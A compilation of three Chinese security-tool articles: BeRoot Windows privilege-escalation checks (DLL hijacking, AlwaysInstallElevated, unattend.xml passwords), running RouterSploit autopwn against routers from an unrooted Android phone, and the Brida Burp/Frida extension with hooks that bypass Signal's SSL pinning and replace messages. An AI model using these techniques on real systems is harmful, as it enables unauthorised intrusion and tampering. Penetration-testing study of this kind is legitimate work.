需要注意的是,BeRoot只能用来进行检测,而无法直接利用漏洞完成攻击。如果它发现了问题,测试人员可以利用templates(模板)来进行漏洞利用。在使用templates时,需要在下级目录service/中创建一个test.bat文件。

工具运行

BeRoot:一款功能强大的Windows权限提升工具

接下来,我们会给大家介绍所有常用的检测方法。

包含空格且没有引号的路径

请大家先看看下面这个文件路径:

C:/Program Files/Some Test/binary.exe

如果路径中包含空格并且没有引号,Windows将会尝试按照下列顺序进行定位并执行目标程序:

C:/Program.exe
C:/Program Files/Some.exe
C:/Program Files/Some Folder/binary.exe

在上述例子中,如果”C:/”目录可写的话,我们就可以创建一个名叫”Program.exe”的恶意可执行程序了。如果”binary,exe”是以最高权限运行的话,我们也可以用它来完成提权。

注意:BeRoot可以对每一个服务路径、计划任务、以及HKLM中的启动键进行这样的检测。

如何利用:

如果路径与服务有关:创建一个恶意服务,或编译service模板;

如果路径与传统可执行程序有关:创建你自己的恶意可执行程序;

可写目录

请大家先看看下面这个文件路径:

C:/Program Files/Some Test/binary.exe

如果”binary.exe”的根目录可写的话(”C:/Program Files/Some Test”),并且它能够以最高权限运行,那么我们就可以用它来实现提权。

如何利用:

服务未运行:用我们的恶意服务替换掉原本的合法服务,然后重启服务;

服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,利用DLL劫持技术并使用之前的方法尝试重启服务;

环境变量%PATH%中的可写目录

这项技术将会影响以下几个Windows版本:

6.0 =>  Windows Vista / Windows Server 2008
6.1 =>  Windows 7 / Windows Server 2008 R2
6.2 =>  Windows 8 / Windows Server 2012

在传统的Windows安装过程中,DLL是通过binary加载的,Windows将会按照下列步骤来尝试定位binary:

- binary所在的目录
- C:/Windows/System32
- C:/Windows/System
- C:/Windows/
- 代码被执行的当前目录
-环境变量%PATH%中的目录

如果环境变量%PATH%中的目录是可写的,那我们就有可能实现DLL劫持攻击了。接下来,我们就要找出那个负责加载DLL并且没有在这些路径中出现过的服务。比如说默认情况下,”IKEEXT”服务将会加载”wlbsctrl.dll”。

如何利用:

创建一个名叫”wlbsctrl.dll”的恶意DLL文件(使用现成的DLL模板),然后将其添加到环境变量%PATH%中的可写路径。接下来,启动”IKEEXT”服务即可。

注册表键AlwaysInstallElevated

AlwaysInstallElevated是一个设置,它可以允许非特权用户以SYSTEM权限运行Microsoft Windows Installer Package File(MSI)。为了实现这种操作,下面这两个注册表项需要被设置为1:

HKEY_CURRENT_USER/SOFTWARE/Policies/Microsoft/Windows/Installer/AlwaysInstallElevated
HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/Installer/AlwaysInstallElevated

如何利用:创建一个恶意msi文件并执行它即可。

未被注意的安装文件

这些文件中包含程序在安装过程中所进行的一切配置信息,而且其中的部分文件可能还包含有本地管理员账号的配置信息。这些文件的路径如下:

C:/Windows/Panther/Unattend.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattend/Unattend.xml
C:/Windows/System32/Sysprep/unattend.xml 
C:/Windows/System32/Sysprep/Panther/unattend.xml

如何利用:

打开unattend.xml文件,并查看其中是否包含密码:

<UserAccounts>
   <LocalAccounts>
       <LocalAccount>
           <Password>
               <Value>RmFrZVBhc3N3MHJk</Value>
               <PlainText>false</PlainText>
           </Password>
           <Description>Local Administrator</Description>
           <DisplayName>Administrator</DisplayName>
           <Group>Administrators</Group>
           <Name>Administrator</Name>
       </LocalAccount>
   </LocalAccounts>
</UserAccounts>

其他可能存在的错误配置

除了上述可检测的错误配置之外,BeRoot还实现了以下几种可能的检测对象:

1.      修改现有的服务;

2.      创建一个新的服务;

3.      修改HKLM中的启动项键;

4.      修改存储计划任务的目录(”C:/Windows/system32/Tasks”)

 

* 参考来源:BeRoot, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

手机没Root?你照样可以渗透路由器

和Metasploit差不多,RouterSploit是一个强大的漏洞利用框架,用于快速识别和利用路由器中的普通漏洞,它还有个亮点,就是可以在绝大多数安卓设备上运行。

如果你想在电脑上运行,可以阅读这篇文章,而这篇教程则会告诉你如何轻松地在未Root的安卓设备上安装RouterSploit,这样一来,只要你的智能手机可以连接这些有漏洞的路由器,你就可以渗透他们。

RouterSploit vs 路由器

路由器是我们联通世界的通道,它们管理着互联网通信,加密我们的流量,保护着我们的隐私,还将我们与内网的或者外网的其他设备连接起来。

很大一部分人认为这种设备如此出色是理所当然的,还认为只要一接入并提供互联网,安装工作就完成了,殊不知路由器本身就是个Linux系统的电脑,很多人在管理员账户的控制面板上留下了默认密码,有些根本没有登陆且安装更新过。

如果感觉像是在说你,那么你就应该去修改默认密码然后再看剩下的教程。

因为路由器容易被忽略,所以就经常有一些常见的漏洞可以被正确地程序利用。RouterSploit利用大多数常见漏洞和默认设置,能让你用任何支持Python脚本的设备快速评估和利用路由器。

安卓上的Debian Linux

为了能在安卓设备上运行,大多数工具需要root权限,而root权限并不是那么容易获取的,而且也不是特别安全。为了在我们的设备上运行RouterSploit,一个叫GNURootDebian的应用能代替我们在安卓设备上安装Debian系统,而Kali就是基于Debian的。

手机没Root?你照样可以渗透路由器

在安卓设备上运行RouterSploit

Kali确保了我们所需的大多数依赖都已经被安装,所以我们需要在安卓版本的Debian上安装很多依赖来确保工具的正常运行。这种方法不需要root权限或者其他千奇百怪的许可,而且还可以让我们在安卓手机上运行Linux下的Python工具。

在安卓设备上使用攻击框架

安卓环境可以允许用很多无线攻击技术来指导你的攻击和评估,在一个设备中,有很多应用能帮你探测,连接,以及攻击任何开放的接入点,这里列举一些我使用的应用。

如果用于在一个地区内无线网的探测和认证,Wigle Wifi Wardriving能让你查看,记录,以及与周围的无线传输交互。

如果要扫描网络和认证信息,IP地址以及可用服务,Fing Network Scanner可以扫描你连接的任何网络的所有东西,然后返回每个连接设备的细节信息。

一旦一个设备被你当作目标,RouterSploit的自动入侵扫描会显示当前目标上所有可用的入侵途径。

将未Root的安卓设备当作攻击平台

在安卓上使用强大的Linux框架,我们就多了一种方法,以直观的角度入侵。而且在被发现有人正在做不正常的事情的情况下,使用一个安卓手机会比使用特制的硬件更加不被人怀疑。

常言道工欲善其事,必先利其器,黑客工具也不例外,GNURootDebian有为入侵行为快速搭建平台的能力,而且能让任何人不用特制的工具就能审计路由器安全,时间不长,你就能学会如何在假装玩精灵宝可梦的时候取得路由器的控制权。

开始前必备

这个搭建方法的美妙之处在于你仅仅需要一台安卓设备,我用了三星Galaxy S8,因为到处拿着一个超大的曲面屏玻璃能提醒我人生是多么的脆弱,话说回来,你可以用任何支持GNURoot Debian的安卓设备。

第一步:安装GNURoot Debian

要开始,我们需要安装GNURoot Debian,前面已经提到,他能让那给我们在没有root的手机上上运行Debian Linux,在Google Play商店 ,搜索GNURoot Debian或者点击这里

手机没Root?你照样可以渗透路由器

很棒的山羊胡子

下载这个应用(大概60MB,网速可能会有点慢),一旦应用被安装,接下来就是你第一次运行的时候了,在第一次打开时,你会看见Debian环境正在搭建,很多文本在快速地滚动。

手机没Root?你照样可以渗透路由器

等待几分钟,安装完成后你会看见下图所示画面。

手机没Root?你照样可以渗透路由器

一旦Debian Linux安装完成,接下来就是安装依赖的步骤了。

第二步:安装依赖

安卓上的Debian Linux不像Kali那样预安装了任何特定依赖,所以我们要从很多事情开始,尤其是Python,因为我们需要它来运行我们想要的模块。首先,我们需要更新。

apt-get update

接下来执行以下命令:

apt-get install sudo
sudo apt-get install git-core

这两个命令会安装sudo和git,在这之后你就可以从Github上获得源码了,除此之外还需下面的命令。

sudo apt-get install python-dev python-pip libncurses5-dev git

第三步:安装RouterSploit

一旦依赖被安装,就可以执行下面的命令

git clone https://github.com/reverse-shell/routersploit

手机没Root?你照样可以渗透路由器

第四步:第一次运行RouterSploit

安装完成后,你一定想运行,看看是不是真的有用,此时你需要返回Home目录,执行下面的命令:

cd routersploit

然后像这样运行Python脚本:

sudo python ./rsf.py

几秒钟的加载之后,就会成功运行了。(使用方法和metasploit差不多)

use(后接模块)
set(后接变量)
show options(显示模块选项)
check(检查目标是否有漏洞可以利用)
run(对目标运行模块)

你可以运行autopwn,执行下方命令:

use scanners/autopwn

顾名思义,这个命令会运行autopwn来扫描目标。

第五步:设置与开始

你的手机上如果安装了前文提到的Wigle Wifi Wardriving,那么就很容易发现周围的无线网络,利用Fing就可以扫描无线网络,在此不再赘述。

一旦知道了目标的IP地址,你就可以把它放进autopwn里,输入下列命令查看选项

show options

这样一来我们就可以设定目标的IP地址了,具体命令如下所示:

set target [目标IP地址]

手机没Root?你照样可以渗透路由器

再次输入“show options”可以检查当前设定,但你对设定满意时,输入下方命令即可开始

run

手机没Root?你照样可以渗透路由器

第六步:利用找到的漏洞

当autopwn找到漏洞时,利用就十分简单了。此时你只需要复制可用的模块路径,然后粘贴在use后,就可以开始利用了。举个例子:

use exploits/cameras/dlink/dcs_9301_9321_auth_bypass

然后像之前一样设定IP地址

set target [目标IP地址]

之后再次输入“run”即可。

(PS:理论上说其他的很多工具也可以运行。)

手机没Root?你照样可以渗透路由器

这些摆拍角度一度让我怀疑原作者在打手机广告

警告

即便路由器完全没有设防,或者很容易入侵,你也要明白未经许可入侵路由器是非法的,要使用它,请确保你已经获得准许。另外,autopwn弄出的动静可能会有点大,可能会被某些安全防御措施检测到。

*参考来源:wonderhowto,转载请注明来自FreeBuf.COM

Brida:使用Frida进行移动应用渗透测试

简介

Brida是一款 Burp Suite 扩展,作为一座桥梁连接着Burp Suite以及Frida,以帮助用户修改应用程序与后端服务器之间的通信数据为己任。在分析移动端应用时遇到应用使用随机密钥式对称加密,如果不知道其使用的密钥就无法篡改其通信数据,通过Burp也就无法对所有的交换数据进行更改了,于是Brida就这样出现在我们视野中。

Frida

Frida是一款非常强大的框架,其可向Windows、MacOS、Linux、iOS、Android,QNX的应用中注入Javascript,进而拦截应用传输的数据。本文仅使用到其中少部分功能,更多可以参考Frida文档,强烈建议读者最好是在熟悉了其基本概念以及常用功能后再进行阅读。推荐两篇不错的译文:使用Frida配合Burp Suite追踪API调用如何在iOS应用程序中用Frida来绕过“越狱检测”?

必备

工具设计初衷是为了提高渗透测试人员工作效率,因此读者可能需要先了解该应用以及系统内部构件,渗透测试,反编译,逆向工程等有一定理解。有使用过Burp Suite的经验将会给你带来帮助,本次测试将用到以下软件:

  1. Burp Suite Pro 1.7.25
  2. Frida 10.11
  3. Pyro 4.60 (pip install pyro4)
  4. Python 2.7
  5. Java 1.8
  6. 反编译软件

我们决定使用Pyro4作为Burp与Frida之间的接口,以便直接访问Java和Python扩展。Brida项目地址:https://github.com/federicodotta/Brida,之后将在BAppStore上架

常见场景

如果你需要对应用(Android,iOS等)进行一个完整评估,也就是说你需要对应用与后端服务器之间的交互进行研究。身为渗透测试人员几乎每天都有做这样的事情,因此假设你熟悉如何重定向设备/应用的通信,与此同时假设你能设法绕过SSL Pinning验证机制以及/或者anti-root检测。

Brida:使用Frida进行移动应用渗透测试

为了与服务器之间进行发送/接收数据,该应用程序似乎有是使用某种(自定义)编码或者是加密例程。一般而言,应用程序的数据传输可能是基于加密令牌,也可能是使用复杂的Challenge-Response协议进行身份验证。那么我们如何篡改这些信息呢?大多数的时间唯一可行的方法就是对应用进行反编译工作,然后识别我们感兴趣部分的使用的函数或者方法,之后再重新实现这些功能。显然该方法耗时较长并且不是每次都那么凑效:即令牌生成以及加密例程都是与设备(状态)有强关联的,或者是存储在不能直接访问的保护区域。这时Brida的用处就体现出来:它会尝试提取密钥或者证书并重写加密例程,这些脏活累活就交给它吧!

工作原理

Brida由以下三个组件构成:

  1. Brida.jar:Burp Suite扩展
  2. bridaServicePyro:用于连接Frida和Burp的一个Python脚本,其存储在扩展之中,在执行Brida过程中会复制到一个临时目录中
  3. script.js:需要注入到目标应用的JavaScript脚本,它会通过Frida自带的rpc.exports将获取的函数信息返回给扩展
'use strict';

// 1 - FRIDA EXPORTS

rpc.exports = {

    exportedFunction: function() {

        // Do stuff...
        // This functions can be called from custom plugins or from Brida "Execute method" dedicated tab

    },

    // Function executed when executed Brida contextual menu option 1.
    // Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
    // from ASCII HEX). Use auxiliary functions for the conversions.
    contextcustom1: function(message) {
        return "6566";
    },

    // Function executed when executed Brida contextual menu option 2.
    // Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
    // from ASCII HEX). Use auxiliary functions for the conversions.
    contextcustom2: function(message) {
        return "6768";
    },

    // Function executed when executed Brida contextual menu option 3.
    // Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
    // from ASCII HEX). Use auxiliary functions for the conversions.
    contextcustom3: function(message) {
        return "6768";
    },

    // Function executed when executed Brida contextual menu option 4.
    // Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
    // from ASCII HEX). Use auxiliary functions for the conversions.
    contextcustom4: function(message) {
        return "6768";
    }

}

// 2 - AUXILIARY FUNCTIONS

// Convert a hex string to a byte array
function hexToBytes(hex) {
    for (var bytes = [], c = 0; c < hex.length; c += 2)
    bytes.push(parseInt(hex.substr(c, 2), 16));
    return bytes;
}

// Convert a ASCII string to a hex string
function stringToHex(str) {
    return str.split("").map(function(c) {
        return ("0" + c.charCodeAt(0).toString(16)).slice(-2);
    }).join("");
}

// Convert a hex string to a ASCII string
function hexToString(hexStr) {
    var hex = hexStr.toString();//force conversion
    var str = '';
    for (var i = 0; i < hex.length; i += 2)
        str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
    return str;
}

// Convert a byte array to a hex string
function bytesToHex(bytes) {
    for (var hex = [], i = 0; i < bytes.length; i++) {
        hex.push((bytes[i] >>> 4).toString(16));
        hex.push((bytes[i] & 0xF).toString(16));
    }
    return hex.join("");
}

// 3 - FRIDA HOOKS (if needed)

if(ObjC.available) {

    // Insert here Frida interception methods, if needed 
    // (es. Bypass Pinning, save values, etc.)

}

关于上述这个script.js框架,你可以根据需求定义输出函数,再加上你可以从Burp右键菜单(即在选中文本中单击右键)中调用的4个输出函数。请注意,JS中所有实现方法都必须是小写(避免因为bridaServicePyro报错)Brida提供了三种不同的操作模式:

  1. 使用自定义参数直接调用函数
  2. 结合右键菜单功能
  3. 生成自定义插件桩代码(桩代码即临时性的/待编辑的代码)

本文我们通过使用iOS 10下的Signal作为目标应用进行测试(源码可用),虽然本文是在iOS环境下进行测试,但其方法Android, Windows, Linux等都适用。

使用方法

将Brida.jar扩展文件添加到Burp Suite Pro,这一步不需要Jpython,但是必须要使用合适的Python环境(Python 2.7)

Brida:使用Frida进行移动应用渗透测试

Extender -> Add -> Extension file (.jar)

配置选项:

Brida:使用Frida进行移动应用渗透测试

  • Python binary path: Python所在目录, 用于运行Pyro服务(for RPC).
  • Pyro host, Pyro port: Pyro服务的主机以端口; 一般保持默认即可,如有需要可更改端口
  • Frida JS file path: 用于注入到目标应用的Frida JavaScript脚本
  • Application ID: 类似于org.whispersystems.signal

完成配置选项,接下来瞧瞧这些按钮都有些什么功能:

  • Start server, 启动用于连接Burp与Frida之间的服务 (其在后台运行一个python/Pyro RPC服务)
  • Kill server, 停止连接服务
  • Spawn application, 在设备中打开应用,之后将Frida JS注入其中
  • Kill application, 关闭应用程序
  • Reload JS, 在不重启程序的情况下重新加载Frida脚本
  • Java Stub, 利用Brida为你使用的插件打印Java Stub
  • Python Stub, 利用Brida为你使用的插件打印Python Stub
  • Save settings to file, 将设置导出并保存到文件
  • Load settings from file, 从文件中导入设置
  • Execute Method, 运行execute method函数 (see below for an example)

开始我们今天愉快的学习之路吧,单击Start server启动服务之后,再点击Spawn application

案例一:Direct method调用自定义参数

通过自定义JS函数,Brida可能执行一个App类函数,下面来看一个小例子。在scriptSignal.js我们定义一个使用NSString uppercaseString方法的ObjC函数

touppercase: function(message) {
 var a1 = ObjC.classes.NSString.stringWithString(message);
 var a2 = a1.uppercaseString();
 return a2.toString();
}

确认所有参数设置合适之后,接着就来配置Direct method部分了

Brida:使用Frida进行移动应用渗透测试

单击Execute Method,Brida将通过Pyro调用JS中定义的方法,该方法将在iOS上执行其结果将显示在Output区域

案例二:右键菜单

在Burp的右键菜单栏添加几个选项以调用一些预定义的Brida函数;使用该方法,对于一些基础功能(即自定义加密或者解密)你可以直接开发合适的JS脚本,而不必再去写一个插件了,以下则为一个菜单列表:

  • Brida Custom1:可通过右键菜单可编辑视图进行访问(它将调用contextcustom1 JS脚本)
  • Brida Custom2:可通过右键菜单可编辑视图进行访问(它将调用contextcustom2 JS脚本)
  • Brida Custom3:可通过右键菜单非可编辑视图进行访问(它将调用contextcustom3 JS脚本)
  • Brida Custom4:可通过右键菜单非可编辑视图进行访问(它将调用contextcustom4 JS脚本)

默认情况下,为了管理二进制数据,Brida将输入以及输出都进行了16进制编码处理,用于转换的辅助函数都在JS文件中。

Brida:使用Frida进行移动应用渗透测试

假设可编辑视图的选项会直接替换JS执行的结果,在非可编辑视图则生成一个包含结果的消息框

Brida:使用Frida进行移动应用渗透测试

在这个JS文件中我们实现了以下方法:contextcustom1会将所选字符串以小写输出:

contextcustom1: function(message) {
 var a1 = ObjC.classes.NSString.stringWithString(hexToString(message));
 var a2 = a1.lowercaseString();
 return stringToHex(a2.toString());
}

contextcustom2将生成所选文本的base64编码:

contextcustom2: function(message) {
 var inputByte = hexToBytes(message);
 var ptrMessage = Memory.alloc(inputByte.length);
 Memory.writeByteArray(ptrMessage,inputByte);
 var objMessage = ObjC.classes.NSData.alloc().initWithByteslength(ptrMessage,inputByte.length);
 var encodedMessage = objMessage.base64EncodedString();
 return stringToHex(encodedMessage.toString());
}

contextcustom3会将所选字符串以大写输出:

contextcustom3: function(message) {
 var a1 = ObjC.classes.NSString.stringWithString(hexToString(message));
 var a2 = a1.uppercaseString();
 return stringToHex(a2.toString());
}

contextcustom4将解码所选文本的base64:

contextcustom4: function(message) {
 var a2 = ObjC.classes.NSString.stringWithString(hexToString(message));
 var encodedString = ObjC.classes.NSData.dataFromBase64String_(a2);
 var ptrBytesReturned = encodedString.bytes();
 var ptrBytesLength = encodedString.length();
 var bytesReturneded = Memory.readByteArray(ptrBytesReturned, ptrBytesLength);
 return bytesToHex(bytesReturneded);
}

案例三:自定义插件 – 修改Signal (iOS)传输过程中的加密报文

Brida最给力的地方还得看案例三演示的这个操作模式。接下来我们将编写一个自定义Burp插件:我们希望在进行通信传输时Burp能够对信息进行拦截,向应用发起请求对我们之前就定义好的信息进行加密,最后将原始信息进行替换,所有代码都可以通过Brida-examples查看。你需要在Burp中加载Brida插件,然后为Signal应用加载python或java插件。您可以使用Brida的Java Stub或Python Stub功能轻松生成有效代码以通过Pyro4连接到Brida,之后执行Frida的导出功能。接下来只需专注于注入脚本

scriptSignal.js

脚本的最后包含了插件使用的Frida Hooks,钩子sendMessage:recipient:thread:attempts:success:failure:是用于获取最后一条信息的终点编号,执行该函数将生成新的加密信息,该值存储在JS中的局部变量中,在之后的自定义函数中会使用到。

var hooksendMessage = ObjC.classes.OWSMessageSender["- sendMessage:recipient:thread:attempts:success:failure:"];
 Interceptor.attach(hooksendMessage.implementation, {
  onEnter: function(args) { 
   var obj2 = ObjC.Object(args[3]);
   destNum = obj2.recipientId().toString();
  }
});

为了能够通过Burp Proxy拦截传输数据,需要绕过SSL pinning身份验证

var hookevaluateServerTrust = ObjC.classes.OWSHTTPSecurityPolicy["- evaluateServerTrust:forDomain:"];
 Interceptor.attach(hookevaluateServerTrust.implementation, {
  onLeave: function(retval) {
   retval.replace(ptr(1));
  }
});

这是Frida导出的核心函数,其将调用Burp插件来改变Signal发出的信息,之后生成新的信息并将结果返回给我们的插件

changemessage: function(message) {

    var env = ObjC.classes.Environment.getCurrent();

    var messageSender = env.messageSender();
    var signalRecipient = ObjC.classes.SignalRecipient.alloc().initWithTextSecureIdentifierrelay(destNum,null);
    var contactThread = ObjC.classes.TSContactThread.alloc().initWithContactId_(destNum);

    var mex = ObjC.classes.TSOutgoingMessage.alloc().initWithTimestamp_inThreadmessageBody(Math.round(+new Date()/1000),null,message);

    var retVal = messageSender.deviceMessages_forRecipientinThread(mex,signalRecipient,contactThread);

    var retValMessage = retVal.objectAtIndex_(0);

    return retValMessage.toString();

}

BurpBridaSignal.py

该Burp Suite插件文件将利用Brida生成一条新信息来替换应用发出的信息,以下使用Burp Suite各项功能来分析所有请求,以及从请求中检测是否包含特定字符串(destinationRegistrationId)

if messageIsRequest:

 # Get request bytes
 request = messageInfo.getRequest()

 # Get a IRequestInfo object, useful to work with the request
 analyzedRequest = self.helpers.analyzeRequest(request)

 headers = list(analyzedRequest.getHeaders())

 bodyOffset = int(analyzedRequest.getBodyOffset())

 body = request[bodyOffset:]
 bodyString = "".join(map(chr,body))

 if "destinationRegistrationId" in bodyString:

以下是插件的核心,使用Brida调用scriptSignal.js中定义的changemessage(pp.callexportfunction(‘changemessage‘, args))生成一条新的信息。它会生成一个内容为“pwned”的文本信息

jsonBody = json.loads(bodyString)

uri = 'PYRO:BridaServicePyro@localhost:9999'
pp = Pyro4.Proxy(uri)
args = []
args.append("pwned")
newMessage = pp.callexportfunction('changemessage',args)
pp._pyroRelease()

最后用刚才使用Brida生成的新信息替换原始信息

  m = re.search(".content = /"(.?)/".", newMessage)
  if m:
   newMessage = m.group(1)
   jsonBody["messages"][0]["content"] = newMessage
   newBodyString = json.dumps(jsonBody)
   newBodyString = newBodyString.replace("/", "//")
   newRequest = self.helpers.buildHttpMessage(headers, self.helpers.stringToBytes(newBodyString))
   messageInfo.setRequest(newRequest)

参考来源:mediaservice,freebuf小编鸢尾编译,转载请注明来自FreeBuf.com